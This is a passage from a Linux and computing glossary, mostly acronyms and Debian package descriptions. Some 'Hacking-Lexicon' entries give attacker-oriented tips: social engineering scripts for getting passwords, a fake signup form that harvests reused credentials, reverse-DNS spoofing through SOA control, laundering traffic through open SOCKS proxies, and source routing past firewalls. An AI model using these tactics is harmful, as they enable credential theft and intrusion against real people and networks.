http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

snowflake
An interactive snowflake generator. In addition to generating pretty snowflake patterns, the code for this program, as originally conceived by Raph Levien was an exercise in cryptography. The bit pattern from an ordinary ASCII string or a hexadecimal key can be used to generate a unique snowflake. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNP

SubNetwork Protocol From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNPA

Sub−Network Point of Attachment From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNPP

Simple Network Paging Protocol (RFC 1861, SMS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNR

Serial NumbeR (IMEI, GSM, mobile−systems) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNR

Signal−to−Noise Ratio From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNRM

Set Normal Response Mode (SDLC, HDLC, ADDCP, LAPB) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNRME

Set Normal Response Mode Extension (SNRME) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNS

Secure Network Server From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sntop

A curses−based utility that polls hosts to determine connectivity. Simple network top (sntop) is a curses−based console utility, in the spirit of top, that polls network hosts at a regular interval to determine their connectivity and displays the results in a pretty format. Advanced features, such as automatic HTML generation of results, secure terminal mode, execution of external file on connectivity change, and user/system configure files, are supported. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SNTP

Simple Network Time Protocol (RFC 2030) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOA

Start Of Authority record (DNS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOA

State Of the Art (slang) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOA (Start of Authority)

In DNS, the SOA record is the "root" record for a domain (or "zone"). Hack: If you control the SOA for a reverse mapping, you can spoof the reverse lookup for an IP address. Let's say that you controlled the DNS server for 132.2.0.192.in−addr.arpa, you can choose to return any domain name you want. This can be used to subvert a number of systems that rely upon reverse lookups, such as older /etc/hosts.equiv files (specifically, the older istrusted() function call). From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOAP

Simple Object Access Protocol (W3C, XML, HTML) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOAP

Symbolic Optimizer and Assembly Program From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOB

Start Of Block From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOC

System−On−a−Chip From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOC

Systems and Option Catalog From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

social engineering (con, human engineering)

Social engineering is a form of hacking that targets people's minds rather than their computers. A typical example is sending out snail mail marketing materials with the words "You may already have won" emblazoned across the outside of the letter. As you can see, social engineering is not unique to hackers; it's main practitioners are the marketing departments of corporations. Key point: The classic example is to pretend to be from a company's computer department and call up a user asking for their password. Sophisticated hacks will first try to make the victim uncomfortable (i.e. "We've detected improper use of your account..."), then offer them the opportunity to be very helpful ("I'm sure we can check this out now and not involve your boss."). The technique often works well in reverse: call up the computer support department and tell them you've lost your password. This works especially well in companies that have policies requiring you to change your password −− people forgetting passwords on really old accounts are frequent, so support departments are deluged with such requests, so it's easy to slip one past them. Key point: Know as much about your victim as possible. If you are emulating something, try to find the answers to typical questions you will be asked. Key point: If all else fails, try stupidity. If you are a foreigner, pretend not to speak the language well. Likewise, females have certain advantages in male−dominated cultures. Example: For members−only access, please create an account: Username: Password: Confirm: People often choose the same password for everything. For example, put in your website the prompt shown to the right. A lot of users will use the same username/password for this that they use for websites like Hotmail, Yahoo mail, or Netscape mail. This will therefore sift valid e−mail accounts from people who visit your site. In a similar manner, these passwords might be useful within the companies they work for as well. Key point: Newbies are favorite victims of social−engineering attacks in chat rooms. Hackers go after people who appear to be unsure of themselves online. Key point: Many hackers do not consider social−engineering a "real" attack because it doesn't require extensive technical knowledge in order to pull off. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Socket

An Internet address that combines an IP address (the four−part numerical addrss that uniquely identifies a prticular computer on the Internet) and a port number (which identifies a prticular Internet application, such as File Transfer Protocol [FTP], Gopher, or the World Wide Web [WWW]). See well−known port. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

socket

Multi purpose socket tool The socket program is a simple tool for socket based connections. It can be used to create simple daemons (in both standalone and inetd mode), to connect to other daemons or to redirect ports. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sockets / WinSock

In programming, the "sockets" interface is the most common way that coders use to access the network. Sockets works by creating a "file handle" that when written to, sends data over the network rather than to a file on the hard−disk. Contrast: Other interfaces programmers could use are higher−level abstractions like RPC, or lower−level "raw" interfaces like libnet. Contrast: Sockets originally came from UNIX, but has been ported to other platforms. In particular, the "WinSock" variant for Windows includes both the UNIX−style functions as well as the Windows−style functions. It is possible to write sockets−based programs that compile for both platforms. Key point: The name "sockets" comes from the TCP/IP term "socket". A socket is minimum information necessary needed to communication on the network: the source/destination IP address, the source/destination port, and the transport protocol (UDP or TCP). From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOCKS

SOCKet Secure From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOCKS

SOCKS is a service that allows internal machines behind a firewall/proxy/gateway access to the Internet. Rather than talking to the target machine, clients communicate with the SOCKS server and ask it to relay data to the target machine out on the Internet. Most web−browsers and FTP clients have SOCKS support built in; SOCKS clients can also be installed on client computers to automatically redirect traffic through the socks gateway. Key point: SOCKS servers are frequently misconfigured allowing both outside and inside people to use them. This means that if a hacker wants to hide where they come from, the hacker scans the Internet for SOCKS proxies, then funnel their data through the proxies they find. When victims trace back to the hacker's IP address, they find the open SOCKS server instead. Key point: Abuse through SOCKS servers has become so common on IRC networks that many of them (dalnet, undernet) have begun scanning clients to see if they are running an open SOCKS proxy. They deny access to anybody coming into the networks through such a proxy. Note that users can still use closed proxies (i.e. those available only to internal users). Key point: SOCKS servers listen by default on TCP port 1080. Real world: Most browsers support SOCKS, which you can see in the "proxy" settings configuration tab. You can download generic SOCKS clients and servers from http://www.socks.nec.com/. SOCKS v5 is specified in RFRC 1928. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

socks4−clients

Socks4 enabled clients as rtelnet, rftp, ... This is version 4.3 of SOCKS, a package that allows Unix hosts behind a firewall to gain full access to the internet without requiring direct IP reachability. It does require a SOCKS server program being run on a hosts that can communicate directly to hosts behind the firewall as well as hosts on the Internet at large. It is based on the original SOCKS written by David Koblas <koblas@netcom.com>. This package includes SOCKSified client programs of finger, ftp, telnet, and whois. A few other SOCKSified clients may be found on ftp.nec.com, in directory /pub/security/socks.cstc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

socks4−server

SOCKS4 server for proxying IP−based services over a firewall This is version 4.3 of SOCKS, a package that allows Unix hosts behind a firewall to gain full access to the internet without requiring direct IP reachability. It does require a SOCKS server program being run on a hosts that can communicate directly to hosts behind the firewall as well as hosts on the Internet at large. It is based on the original SOCKS written by David Koblas <koblas@netcom.com>. This package includes the SOCKS server. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOCO

Service Office/Central Office, "SO/CO" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SODA

Simplified OS for Distributed Applications (OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SODA

System Optimization and Design Algorithm From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SODIMM

Small Outline Dual Inline Memory Module (DRAM, DIMM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sodipodi

Vector based drawing program. It loads and saves subset of SVG (Scalable Vector Graphics) format, a standard maintained by the WWW consortium. Sodipodi user interface should be familiar from CorelDraw and similar drawing programs. There are rectangles, ellipses, text items, bitmap images and freehand curves. As an added bonus both vector and bitmap objects can have alpha transparency and can be arbitrarily transformed. Sodipodi supports multiple opened files and multiple views per file. Graphics can be printed and exported to png bitmaps. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SODIS
SOftware Dokumentations− und InformationsSystem From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOE
Standard Operating Environment From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOE
Standards of Excellence From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

soelim
interpret .so requests in groff input From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOEP
Secondary Operand Execution Pipeline (Motorola, CPU), "sOEP" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOFABED
[davenport] Standard Open Formal Architecture for Browsable Electronic Documents From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Soft Links
To demonstrate a soft link, try the following: touch myfile; ln −s myfile myfile2; ls −al; cat > myfile; a few lines of text; ^D; cat myfile; cat myfile2; Notice that the ls −al listing has the letter l on the far left next to myfile2, and the usual − next to myfile. This indicates that the file is a soft link (also known as a symbolic link or symlink) to some other file. A symbolic link contains no data of its own, only a reference to another file. It can even contain a reference to a directory. In either case, programs operating on the link will actually see the file or directory it points to. One of the common uses of symbolic links is to make mounted (see Section 19.4) file systems accessible from a different directory. For instance, you may have a large directory that has to be split over several physical disks. For clarity, you can mount the disks as /disk1, /disk2, etc., and then link the various subdirectories in a way that makes efficient use of the space you have. Another example is the linking of /dev/cdrom to, say, /dev/hdc so that programs accessing the device file /dev/cdrom (see Chapter 18) actually access the correct IDE drive. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

software bloat
n. The results of second−system effect or creeping featuritis. Commonly cited examples include ls(1), X, BSD, Missed'em−five, and OS/2. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOH
Section OverHead From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOH
Start Of Header From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOHO
Small Office / Home Office [market] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOI
Silicon−On−Insulator [technology/wafer] (IC, IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOIF
Summary Object Interchange Format (WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOJ
Small−Outline J−lead [chip] (IC, DRAM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOL
Simulation−Oriented Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

solarwolf
Collect the boxes and don't become mad Solarwolf is an action/arcade game written entirely in Python, featuring amazing graphics and cool music. It is is originally based on the SolarFox game on the Atari 2600. All this, yet the best feature of all is; it is a hecka lotta fun! The point of the game is to scramble through 48 levels of patterns, collecting all the boxes. The part that makes it tricky is avoiding the relentless hailstorm of fire coming at you from all directions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

solfege
Ear training program for GNOME GNU Solfege is an ear training program for X Window written in python, using the GTK+ and GNOME libraries. Ear training is a big subject with many connections to music theory and performance of music, so I won't even try to make "a complete computer−based eartraining course". But I hope someone find this software useful. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

solid−pop3d
POP3 server supporting Maildir, PAM, vhosting The Solid POP3 Server is an implementation of a Post Office Protocol version 3 server that has flexibility as its main goal. The server is easily configurable and has support for features such as: − APOP authentication scheme − virtual hosting − maildir and mailbox handling − bulletins − expiration of messages From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOLSA
Support of Localized Service Areas (ETSI), "SoLSA" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOM
Self−Organizing Machine From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOM
Structured Object Method From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOM
System Object Model (IBM, ORB, CORBA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SONDS
Small Office Network Data System From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SONET
Synchronous Optical NETwork (FDDI, ATM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sonicmail
email notifier GNOME applet Sonicmail is a POP3 email notifier GNOME applet. It will notify you when you receive new emails by displaying a selectable icon in the applet. Also, optionally, a sound may be played. Sonicmail is fully configurable. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOP
Standard Operating Procedure From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Sorcerer

This distribution was created by the original Sorcerer GNU/Linux author, Kyle Sallee. Sources are downloaded directly from software authors' homepages and mirrors. Then, they are compiled with the architecture and optimizations that the system administrator specifies. Finally, it is installed, tracked, and archived for easy removal and upgrades. Sorcerer has both both command line and menu driven package mangement programs. A public beta, not backward compatible with previous releases of SGL, was made available April 14, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Sort

An operation that rearranges data so it is specified ascending or descending order, usually alphabetically or numerical. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sort

sort lines of text files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sortmail

a simple mail sorter sortmail is a simple mail sorter you can use in your .forward to sort your mail into folders automatically, delete unwanted mail, etc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOS

Share Operating System (OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOS

Sophisticated Opearting System (OS, Apple) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOS

Standards and Open Systems From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOS

Support On Site From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOS

Symbolic Operating System (OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOSP

System Operational and Support Plan From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOT Linux

SOT Finnish Software Engineering Ltd. provides a very popular distribution (once known as Best Linux) with excellent language support for many languages. SOT Linux 2002 was released April 24, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOTA

State of the Art (slang) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sound−recorder

Direct−to−disk recording and play−back programs. sound−recorder is a direct−to−disk recording program. It uses the recording input from the mixer on your soundcard and records it to a file cdsound−recorder is an enhancement to sound−recorder which makes it easy to record tracks or samples from a cdrom to a file. With the play−sample program you can play the recorded audio or play all other non−compressed and compressed wave−files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

soundgrab

play a raw audio file and interactively select and save pieces From the perl department of the Maximegalon museum of diseased imaginings. soundgrab is a script that lets you interactively select and save your favorite parts of a raw audio file to other files via a command line interface. It does this by providing you with the basic commands you would expect from an audio cassette deck (play, stop, ff, rw) plus some additions: mark, which places a marker at the current position of the head, and export, which saves the audio data between the mark and the current head position to a file you specify in wav, cdr (cd mastering), raw data, flac, or ogg format. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

soundmodem

Sound Card Amateur Packet Radio Modems This package contains the driver and diagnostic utility for the userspace SoundModem suite by Thomas Sailer. This package allows you to use any soundcard supported by the kernel as an Amateur Packet Radio modem. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

soundtracker

Sound module editor/player. Supports .xm modules, .xi instruments. Soundtracker is a module tracker for the X Window System and Gnome similar to the DOS program `FastTracker', i.e. the user creates music by rearranging sound samples into `tracks'. For more information about tracking, see http://www.united−trackers.org/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

source

n. [very common] In reference to software, `source' is invariably shorthand for `source code', the preferred human−readable and human−modifiable form of the program. This is as opposed to object code, the derived binary executable form of a program. This shorthand readily takes derivative forms; one may speak of "the sources of a system" or of "having source". From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Source code

In a high−level programming language, the typed program instructions that progammers write before the program is compiled or interpreted into machine language instructions the computer can execute. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Source Code

Programming commands in their raw state as input by a programmer. Some programming languages allow the commands to be executed on the fly by a program interpreter. Other languages require the commands to be compiled into executable programs (binaries) before they can be used. In the UNIX/Linux world, some software is distributed as source code only; other packages include both source and binaries; still others are distributed in binary format only. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

source code

Specially written instructions by a software programmer to create executable programs when run through a compiler or language interpreter. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

source code

The form in which a computer program is written by the programmer. Source code is written in some formal programming language which can be compiled automatically into object code or machine code or executed by an interpreter. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Source Mage GNU/Linux

Currently called Source Mage GNU/Linux, this project was created by members of the Sorcerer GNU/Linux team after that project was pulled by its creator in March 2002. Sorcery 0.1.3 was released into cvs on March 26, 2002. An up−to−date, working test ISO was released May 30, 2002. Sorcery version 0.8.0.1 was released August 25, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

source route

In network network protocols, source routing is the capability whereby the sender can specify the route a packet should take. Analogy: Somebody asks you how to get to the freeway. You can give them two responses: You tell them to drive a little further on, and there will be signs pointing to the freeway. You tell them just to follow the signs. This is normal routing: you simply hand the packet off to the routers, and let them worry about which direction the packet takes. You tell them to drive up 3 blocks, turn left, then go 2 blocks, then turn right, then go one more block and bear left onto the onramp. This is source routing: you tell the packet every hop it should take through the network. Key point: The hacker can give the packets routes that go around firewalls. From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SourceForge

A new phenomenon in the free software community is the SourceForge web site, http://www.sourceforge.net/. Developers can use this service at no charge to host their project's web site, FTP archives, and mailing lists. SourceForge has mushroomed so rapidly that it has come to host the better half of all free software projects. From Rute−Users−Guide http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sourceforge

Integrated development project framework This package provides many services a development project can use, such as bug−tracking, task management, mailing−lists, CVS repository, forums, support request helper, web page / FTP hosting, release management, etc. All these services are integrated into one web site. They are managed via a nice web interface. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sourcenav

Source code analysis, editor, browser and build tool. Source−Navigator is a source code analysis tool which lets users to edit, browse and build their projects. With it, you can edit your source code, display relationships between classes and functions and members, and display call trees. You can also build your projects, either with your own makefile, or by using Source−Navigator's build system to automatically generate a makefile. Source−Navigator works with the Insight GUI interface for GDB. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sox

A universal sound sample translator. SOX (SOund eXchange) is a generic utility for translating sound files from one format to another, possibly performing a sound effect at the same time. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SOX

Sound EXchange [software] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sox

SoX (Sound eXchange) is a sound file format converter for Linux, UNIX and DOS PCs. The self−described 'Swiss Army knife of soundtools,' SoX can convert between many different digitized sound formats and perform simple sound manipulation functions, including sound effects. Install the sox package if you'd like to convert sound file formats or manipulate some sounds. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

sp

James Clark's SGML parsing tools This package is a collection of SGML/XML tools called SP. These tools are used to parse, validate, and normalize SGML and XML files. The central programs included in this package are 'nsgmls', which replaces sgmls, 'spam', 'spent', 'sgmlnorm', and 'sgml2xml'. Author: James Clark <jjc@jclark.com> Homepage: http://www.jclark.com/sp/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

space−orbit

A 3D space combat simulator Orbit is a 3D space combat simulator. It features realistic Newtonian physics and actual images of the planets. In Orbit, you can fly your space ship to explore the planets and moons of the solar system, or if you're feeling like some action, you can hunt down and destroy alien invaders. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spacechart

Star map viewer and navigator SpaceChart is a program to display 3d maps of stars and move freely around it. It is capable of showing only a subset of the stars in a given data file, and only those within a given distance of the center of the display. Also, it shows lines between stars that are closer than a given distance. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPADE

Statistical Packet Anomaly Detection Engine (Snort, IDS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPAG

[european] Standards Promotion and Application Group (org., manufacturer, Europe) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Spaghetti code

A poorly organised prorgam that results from excessive use of GOTO statements, making the program almost impossible to read and debug. The cure is to use a well−structured programming language, such as QuickBASIC, C, or Pascal, that offers a full set of control structures. See structured programming From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spam

A popular canned meat product. Also, sending unwanted messages to a public forum, possibly a reference to the famous Spam sketch Spam Sketch by Monty Python. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spam

an SGML markup stream editor From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spam

Most spam comes through open SMTP relays. Spam is generally sent through the SMTP mail transfer protocol, though spammers are increasingly making use of web−based e−mail. A big source of spam comes from people who spider websites looking for web−pages that contain e−mail addresses. Since a

lot of a web−sites will archive mailing lists and USENET groups, posting to a "private" list will often still expose your e−mail address. The SirCam worm of 2001 spidered the HTML files on the local web−browser cache to forward e−mail, creating a hugely effective manner for discovering new e−mail addresses. Spammers will usually spoof their e−mail address −− you can virtually never reply to the "sender" e−mail address. Netiquette: Use Bcc to send to multiple recipients rather than Cc: or To: fields in order to avoid exposing friends e−mail addresses to potential spammers. Firewalls don't block spam. The @Home cable modem ISP now regularly scans its customers for open USENET relays that spammers often hijack in order to forward spam on newsgroups. Some people are so emotionally against spam that they will will completely shun all access from networks known to be sources of spam. Websites will sometimes scan clients with SNMP or NetBIOS in order to discover their login name. Likewise, some websites sift HTTP fields for usernames (though virtually all web−browsers have disabled this feature). A Rumpelstiltskin attack is where a spammer sends e−mail to all possible names (a@example.com, b@example.com, c@example.com, ...) at a domain. This is similar to a brute−force attack. From Hacking−Lexicon
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPAM

see superfluous pieces of additional mail (SPAM). From Redhat−9−Glossary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPAM

Send Phenomenal Amounts of Mail (Usenet, EMP, slang) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPAM

Spiced Pork and hAM (Usenet, EMP) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spam

vt.,vi.,n. [from "Monty Python's Flying Circus"] 1. To crash a program by overrunning a fixed−size buffer with excessively large input data. See also buffer overflow, overrun screw, smash the stack. 2. To cause a newsgroup to be flooded with irrelevant or inappropriate messages. You can spam a newsgroup with as little as one well− (or ill−) planned message (e.g. asking "What do you think of abortion?" on soc.women). This is often done with cross−posting (e.g. any message which is crossposted to alt.rush−limbaugh and alt.politics.homosexuality will almost inevitably spam both groups). This overlaps with troll behavior; the latter more specific term has become more common. 3. To send many identical or nearly−identical messages separately to a large number of Usenet newsgroups. This is more specifically called `ECP', Excessive Cross−Posting. This is one sure way to infuriate nearly everyone on the Net. See also velveeta and jello. 4. To bombard a newsgroup with multiple copies of a message. This is more specifically called `EMP', Excessive Multi−Posting. 5. To mass−mail unrequested identical or nearly−identical email messages, particularly those containing advertising. Especially used when the mail addresses have been culled from network traffic or databases without the consent of the recipients. Synonyms include UCE, UBE. 6. Any large, annoying, quantity of output. For instance, someone on IRC who walks away from their screen and comes back to find 200 lines of text might say "Oh no, spam". The later definitions have become much more prevalent as the Internet has opened up to non−techies, and to most people senses 3 4 and 5 are now primary. All three behaviors are considered abuse of the net, and are almost universally grounds for termination of the originator's email account or network connection. In these senses the term `spam' has gone mainstream, though without its original sense or folkloric freight − there is apparently a widespread myth among lusers that "spamming" is what happens when you dump cans of Spam into a revolving fan. Hormel, the makers of Spam, have published a surprisingly enlightened position statement on the Internet usage. From Jargon Dictionary
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Spam (or Spamming)

An inappropriate attempt to use a mailing list, or USENET or other networked communications facility as if it was a broadcast medium (which it is not) by sending the same message to a large number of people who didn?t ask for it. The term probably comes from a famous Monty Python skit which featured the word spam repeated over and over. The term may also have come from someone?s low opinion of the food product with the same name, which is generally perceived as a generic content−free waste of resources. (Spam. is a registered trademark of Hormel Corporation, for its processed meat product.) From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spamassassin

Perl−based spam filter using text analysis This package contains a script that is designed to be called from a user's .forward or .procmailrc file, and acts to filter out all junk or spam e−mail. It also contains a daemon and client (written in C) designed for high load servers, reducing loading overhead. It includes automatic white−listing, RBL testing, and header and body testing for common spam contents. With librazor−perl, it also checks messages against an online collaborative database. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spamfilter

Filter spam from incoming mail This package contains a framework to make it easy to filter spam (i.e. junk email) from your incoming mail. It is intended as a user−controlled filter instead of being attached to the MTA as would otherwise be required. All a user has to do is run "spamfilter" and edit one file to set personal information (email addresses, etc.) to have a fully functional spam filter on their incoming mail. Once installed, the filter is infinitely customizable by the user via the rules of procmail. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

speaker

Tcl/Tk speaker−phone application speaker is a speaker−phone application for US Robotics and Rockwell voice modems. If your modem has a speaker−phone feature implemented in hardware, then you can use speaker to control your modem. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPEC

System Performance Evaluation Corporation (org., RISC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spec−helper

Tools to ease the creation of rpm packages for the Mandrake Linux distribution. Compress man pages using bzip2, strip executables, convert links... From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

special characters

Non−alphanumeric characters such as !, @, ^, *. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

specspo

The specspo package contains the portable object catalogues used to internationalize Red Hat packages. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spectemu−common

Fast 48k ZX Spectrum Emulator (common files) Spectemu emulates the 48k ZX Spectrum, which uses the Z80 microprocessor. This package contains common configuration files and utilities which are or can be used by either the X11 or the SVGAlib frontend. It emulates the Z80 processor as well as the 48k Spectrum's other hardware: keyboard, screen, sound, tape I/O. The emulation is very close to the real thing, but it is still quite fast (It was reported to be working well on a laptop with 486 at 25MHz!). On the other hand, the user interface is not the best. Features include: − Sound support through Linux kernel sound−card driver. − Snapshot saving and loading (.Z80 and .SNA format) − Tape emulation: loading from tape files (.TAP and .TZX format) − Optional quick loading of tapes. − Saving to tape files. − Separate utility to save tape files to real tape − Configurable with config files and from command line From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Spectra Linux

Finnish company Probatus Oy makes Spectra Linux. Designed for workstation and server use, this distribution comes with lots of extras, including the Probatus Spectra SDK application development environment, which supports all most common operating systems. Initial public release on April 17, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

speech−tools

Edinburgh Speech Tools − user binaries This package contains the various highly useful (to speech scientists, at least) utility programs that use and accompany the Edinburgh Speech Tools Library. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

speedbar

Dired on steroids Speedbar is an Emacs Lisp program which allows you to create a special skinny frame with a specialized directory listing in it. This listing will have both directories and filtered files in it. You can then load files into your emacs frame, or expand the files to display all the tags that are in them and jump to those tags. You can also expand multiple directories into your speedbar frame. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

speedy−cgi−perl

speed up perl scripts by making them persistent. SpeedyCGI is a way to run perl scripts persistently, which usually makes them run much more quickly because it avoids the overhead of starting up a new perl interpreter and compiling the perl code. It is most often used for CGI scripts but it can be used to speed up most perl programs. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spell

GNU Spell, a clone of Unix `spell' GNU Spell is a spell checking program which prints each misspelled word on a line of its own. It is designed as a clone of the standard Unix `spell' program, and implemented as a wrapper for Ispell. Spell accepts as its arguments a list of files to read from. Within that list, the magical file name `−' causes Spell to read from standard input. In addition, when called with no file name arguments, Spell assumes that it should process standard input. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spellcast

The classic hand−waving multi−player X game of spellcasting. Spellcast is a classic game of might and magic for the X Windowing System. Two or more wizards duke it out with spells, summons, and plain old poking with fingers. Good for hour[s] of fun. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spellutils

Utilities to spell−check selectively Spellutils is a suite of programs which are used to isolate some parts from various types of files and hand them over to another program which may change the texts; it is typically a spell checker. Afterwards the possibly changed text parts are copied back in place in the original file. The newsbody program is intended for use on mail and news messages; it can e.g. ignore headers, quoted material and signatures. The pospell program is for use on translated strings in .po files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

spent

print SGML entity on the standard output From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

SPF

